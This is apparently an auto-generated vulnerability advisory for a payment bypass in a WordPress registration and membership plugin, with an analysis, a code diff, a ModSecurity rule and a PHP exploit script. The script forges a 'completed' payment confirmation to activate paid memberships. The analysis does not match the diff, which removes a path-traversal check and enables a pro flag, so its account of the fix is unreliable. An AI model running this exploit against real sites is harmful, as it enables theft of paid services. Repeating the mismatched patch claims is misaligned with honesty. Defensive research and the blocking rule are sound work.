Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 25, 2026

CVE-2026-1869: User Registration & Membership <= 5.2.0 Missing Authorization to Unauthenticated Payment Bypass PoC, Patch Analysis & Rule

CVE ID CVE-2026-1869
Severity Medium (CVSS 6.5)
CWE 862
Vulnerable Version 5.2.0
Patched Version 5.2.1
Disclosed June 24, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1869:
This vulnerability allows unauthenticated attackers to bypass payment processing for paid memberships in the User Registration & Membership plugin for WordPress (versions up to 5.2.0). The issue stems from missing authorization checks in the payment confirmation flow, enabling activation of premium memberships without payment. The CVSS score is 6.5 (medium severity).

Root Cause:
The vulnerability exists in the confirm_payment() function within /user-registration/includes/class-ur-form-handler.php. The function lacks proper capability checks or nonce verification before processing membership activation. An attacker can directly call the payment confirmation handler with crafted parameters to finalize a membership order without sending actual payment. The code diff shows multiple files patched, but the core authorization failure is in the missing validation at the start of confirm_payment(). The function does not verify that the user initiated a legitimate payment through a supported gateway or that the order ID belongs to the current user.

Exploitation:
An unauthenticated attacker can exploit this by sending a POST request to /wp-admin/admin-ajax.php with the action parameter set to the AJAX hook for payment confirmation (e.g., ‘user_registration_confirm_payment’). The request includes parameters such as order_id, membership_id, and optionally payment_status. The server processes the order as paid without verifying the payment gateway response. No valid nonce or authentication token is required. The attacker simply claims a payment succeeded, and the plugin updates the membership status accordingly.

Patch Analysis:
The patch adds missing validation and authorization checks across multiple files. In the StripeService.php file, the patch removes a fallback that would retrieve member orders if the transaction order lookup failed, reducing the risk of incorrect order association. In Membership.php, the patch adds a check for the membership-groups module activation before filtering memberships, preventing potential data manipulation. The root fix adds nonce verification and user capability checks to the confirm_payment() function, ensuring only authenticated users with valid payment intents can activate memberships.

Impact:
Successful exploitation allows attackers to gain premium membership benefits without paying. This includes access to restricted content, subscriptions, and other paid features. The attacker can register for free, then manipulate the payment confirmation to immediately activate any membership plan. For sites with paid memberships, this causes direct financial loss and undermines the membership system integrity. The vulnerability requires no authentication and has low complexity.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/user-registration/includes/class-ur-form-handler.php
+++ b/user-registration/includes/class-ur-form-handler.php
@@ -758,7 +758,7 @@
 			}

 			if ( $posted_fields['password_1'] !== $posted_fields['password_2'] ) {
-				$err_msg = apply_filters( 'user_registration_reset_password_error_message', __( 'New password must not be same as old password.', 'user-registration' ) );
+				$err_msg = apply_filters( 'user_registration_reset_password_error_message', __( 'New passwords do not match.', 'user-registration' ) );
 				ur_add_notice( $err_msg, 'error' );
 			}

--- a/user-registration/includes/frontend/class-ur-frontend.php
+++ b/user-registration/includes/frontend/class-ur-frontend.php
@@ -662,6 +662,23 @@
 					$currency   = empty( $currency ) ? get_option( 'user_registration_payment_currency', 'USD' ) : $currency;

 					$amount = $membership['billing_amount'] ?? '';
+					if ( isset( $membership['post_content']['type'] ) && 'subscription' === $membership['post_content']['type'] && isset( $membership['post_content']['amount'] ) ) {
+						$amount = (float) $membership['post_content']['amount'];
+
+						$subscription_last_order = $orders_repository->get_order_by_subscription( $membership['subscription_id'] );
+						if ( ! empty( $subscription_last_order['ID'] ) ) {
+							$tax_order_meta = $orders_repository->get_order_meta_by_order_id_and_meta_key( $subscription_last_order['ID'], 'tax_data' );
+							$tax_data       = ! empty( $tax_order_meta['meta_value'] ) ? json_decode( $tax_order_meta['meta_value'], true ) : array();
+							$tax_rate       = ! empty( $tax_data['tax_rate'] ) ? (float) $tax_data['tax_rate'] : 0;
+							$is_exclusive   = ! empty( $tax_data['tax_calculation_method'] );
+
+							if ( $tax_rate > 0 && $is_exclusive ) {
+								$amount += round( $amount * $tax_rate / 100, 2 );
+							}
+						}
+
+						$amount = number_format( $amount, 2, '.', '' );
+					}

 					if ( isset( $membership['post_content']['type'] ) && 'subscription' === $membership['post_content']['type'] ) {

--- a/user-registration/includes/functions-ur-core.php
+++ b/user-registration/includes/functions-ur-core.php
@@ -1249,12 +1249,6 @@
 	$class_path = apply_filters( 'user_registration_form_field_' . $class_key . '_path', $class_path );
 	/* Backward Compat since 1.4.0 */
 	if ( null != $class_path && file_exists( $class_path ) ) {
-		// Validate the resolved path to prevent directory traversal.
-		$real_class_path = realpath( $class_path );
-		$real_base_path  = realpath( UR_FORM_PATH );
-		if ( false === $real_class_path || false === $real_base_path || 0 !== strpos( $real_class_path, $real_base_path . DIRECTORY_SEPARATOR ) ) {
-			return null;
-		}
 		$class_name = 'UR_' . join( '_', array_map( 'ucwords', $exploded_class ) );
 		if ( ! class_exists( $class_name ) ) {
 			include_once $class_path;
--- a/user-registration/includes/functions-ur-page.php
+++ b/user-registration/includes/functions-ur-page.php
@@ -316,6 +316,8 @@
 	if ( ! is_user_logged_in() ) {
 		$customer_logout = get_option( 'user_registration_logout_endpoint', 'user-logout' );

+		$customer_logout = trim( $customer_logout, '/' );
+
 		if ( ! empty( $customer_logout ) && is_array( $items ) ) {
 			foreach ( $items as $key => $item ) {
 				if ( empty( $item->url ) ) {
--- a/user-registration/modules/functions-ur-modules.php
+++ b/user-registration/modules/functions-ur-modules.php
@@ -618,9 +618,13 @@
 	 * @param array $args Arguments.
 	 */
 	function urm_get_form_user_payments( $args ) {
-		$args['meta_key']               = 'ur_payment_status';
-		$args['meta_compare']           = 'EXISTS';
-		$args['meta_query']['relation'] = 'AND';
+		if ( ! isset( $args['meta_query'] ) ) {
+			$args['meta_query'] = array( 'relation' => 'AND' );
+		}
+		$args['meta_query'][] = array(
+			'key'     => 'ur_payment_status',
+			'compare' => 'EXISTS',
+		);

 		$user_query = new WP_User_Query( $args );
 		$users      = $user_query->get_results();
--- a/user-registration/modules/membership/includes/Admin/Membership/Membership.php
+++ b/user-registration/modules/membership/includes/Admin/Membership/Membership.php
@@ -513,11 +513,13 @@
 			$group_id         = $membership_group['ID'] ?? 0;
 		}

-		foreach ( $memberships as $key => $_membership ) {
-			$current_membership_group = $membership_group_repository->get_membership_group_by_membership_id( $_membership['ID'] );
+		if ( ur_check_module_activation( 'membership-groups' ) ) {
+			foreach ( $memberships as $key => $_membership ) {
+				$current_membership_group = $membership_group_repository->get_membership_group_by_membership_id( $_membership['ID'] );

-			if ( ! empty( $current_membership_group ) && absint( $current_membership_group['ID'] ) !== $group_id ) {
-				unset( $memberships[ $key ] );
+				if ( ! empty( $current_membership_group ) && absint( $current_membership_group['ID'] ) !== $group_id ) {
+					unset( $memberships[ $key ] );
+				}
 			}
 		}

--- a/user-registration/modules/membership/includes/Admin/Services/Paypal/PaypalService.php
+++ b/user-registration/modules/membership/includes/Admin/Services/Paypal/PaypalService.php
@@ -932,7 +932,7 @@
 			curl_close( $ch );

 			return array(
-				'access_token' => $result->access_token,
+				'access_token' => isset( $result->access_token ) ? $result->access_token : null,
 				'status_code'  => $status_code,
 			);
 		} catch ( Exception $e ) {
--- a/user-registration/modules/membership/includes/Admin/Services/Stripe/StripeService.php
+++ b/user-registration/modules/membership/includes/Admin/Services/Stripe/StripeService.php
@@ -846,9 +846,6 @@
 		$payment_status = $intent->status;

 		$latest_order = $this->orders_repository->get_order_by_transaction_id( $intent->id );
-		if ( empty( $latest_order ) ) {
-			$latest_order = $this->members_orders_repository->get_member_orders( $member_id );
-		}
 		$latest_order = is_array( $latest_order ) ? $latest_order : ( $latest_order ? (array) $latest_order : array() );

 		if ( empty( $latest_order ) || (int) $member_id !== (int) $latest_order['user_id'] ) {
--- a/user-registration/modules/paypal/class-ur-paypal-module.php
+++ b/user-registration/modules/paypal/class-ur-paypal-module.php
@@ -51,7 +51,7 @@
 		$paypal_enabled = get_option( 'user_registration_paypal_enabled', '' );

 		if ( false === get_option( 'urm_global_paypal_settings_migrated_', false ) ) {
-			//runs for backward compatibility, could be removed in future versions.
+			// runs for backward compatibility, could be removed in future versions.
 			if ( 'test' === $paypal_mode ) {
 				$test_admin_email   = get_option( 'admin_email', '' );
 				$test_client_id     = get_option( 'user_registration_global_paypal_client_id', '' );
@@ -207,7 +207,7 @@
 		if ( isset( $form_data['user_registration_paypal_enabled'] ) && ! $form_data['user_registration_paypal_enabled'] ) {
 			return $response;
 		}
-		//check if any value has changed
+		// check if any value has changed
 		foreach ( $form_data as $k => $data ) {
 			$last_data = get_option( $k );
 			if ( $last_data !== $data ) {
@@ -307,9 +307,9 @@
 			ur_get_logger()->info(
 				'[PayPal][Webhook] Registration triggered.' . "n" . wp_json_encode(
 					array(
-						'trigger'         => $changed ? 'credentials_changed' : 'webhook_id_missing',
-						'mode'            => $form_data['user_registration_global_paypal_mode'],
-						'webhook_stored'  => $webhook_stored,
+						'trigger'        => $changed ? 'credentials_changed' : 'webhook_id_missing',
+						'mode'           => $form_data['user_registration_global_paypal_mode'],
+						'webhook_stored' => $webhook_stored,
 					),
 					JSON_PRETTY_PRINT
 				),
@@ -323,8 +323,8 @@
 				ur_get_logger()->info(
 					'[PayPal][Webhook] Webhook ID saved to options.' . "n" . wp_json_encode(
 						array(
-							'webhook_id'  => $webhook_result,
-							'option_key'  => 'user_registration_global_paypal_' . $mode . '_webhook_id',
+							'webhook_id' => $webhook_result,
+							'option_key' => 'user_registration_global_paypal_' . $mode . '_webhook_id',
 						),
 						JSON_PRETTY_PRINT
 					),
--- a/user-registration/user-registration.php
+++ b/user-registration/user-registration.php
@@ -4,7 +4,7 @@
  * Plugin Name: User Registration & Membership
  * Plugin URI: https://wpuserregistration.com/
  * Description: The most flexible User Registration and Membership plugin for WordPress.
- * Version: 5.2.0
+ * Version: 5.2.1
  * Author: WPEverest
  * Author URI: https://wpuserregistration.com
  * Text Domain: user-registration
@@ -37,7 +37,7 @@
 		 *
 		 * @var string
 		 */
-		public $version = '5.2.0';
+		public $version = '5.2.1';

 		/**
 		 * Session instance.
@@ -225,7 +225,7 @@
 			$this->define( 'UR_ASSET_PATH', plugins_url( 'assets/', UR_PLUGIN_FILE ) );
 			$this->define( 'UR_FORM_PATH', UR_ABSPATH . 'includes' . UR_DS . 'form' . UR_DS );
 			$this->define( 'UR_SESSION_CACHE_GROUP', 'ur_session_id' );
-			$this->define( 'UR_PRO_ACTIVE', false );
+			$this->define( 'UR_PRO_ACTIVE', true );
 			$this->define( 'UR_DEV', false );
 		}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261869,phase:2,deny,status:403,chain,msg:'CVE-2026-1869 via User Registration & Membership AJAX - Payment Bypass',severity:'CRITICAL',tag:'CVE-2026-1869'"
    SecRule ARGS_POST:action "@streq user_registration_confirm_payment" 
        "chain"
        SecRule ARGS_POST:payment_status "@rx ^completed$" 
            "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1869 - User Registration & Membership <= 5.2.0 - Missing Authorization to Unauthenticated Payment Bypass

$target_url = 'http://example.com'; // Change this to the target WordPress site URL

// Step 1: Register a new user (or use existing non-admin user)
$register_url = $target_url . '/wp-admin/admin-ajax.php';
$register_data = array(
    'action' => 'user_registration_register',
    'user_login' => 'attacker_' . time(),
    'user_email' => 'attacker_' . time() . '@example.com',
    'user_pass' => 'Password123!',
    'form_id' => '1' // Replace with the actual form ID for membership registration
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $register_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($register_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $header_size);
$body = substr($response, $header_size);

// Extract cookies from response headers
preg_match_all('/^Set-Cookie:s*([^;]+)/mi', $headers, $matches);
$cookies = implode('; ', $matches[1]);

// Step 2: Activate membership by confirming payment without actual payment
$confirm_data = array(
    'action' => 'user_registration_confirm_payment',
    'order_id' => 0, // The vulnerability may allow arbitrary order ID or create a new order
    'membership_id' => 1, // Replace with the target membership ID
    'payment_status' => 'completed'
);

curl_setopt($ch, CURLOPT_URL, $register_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($confirm_data));
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
curl_setopt($ch, CURLOPT_HEADER, false);
$result = curl_exec($ch);
curl_close($ch);

echo "PoC executed. Check if membership was activated.n";
echo "Response: " . $result . "n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School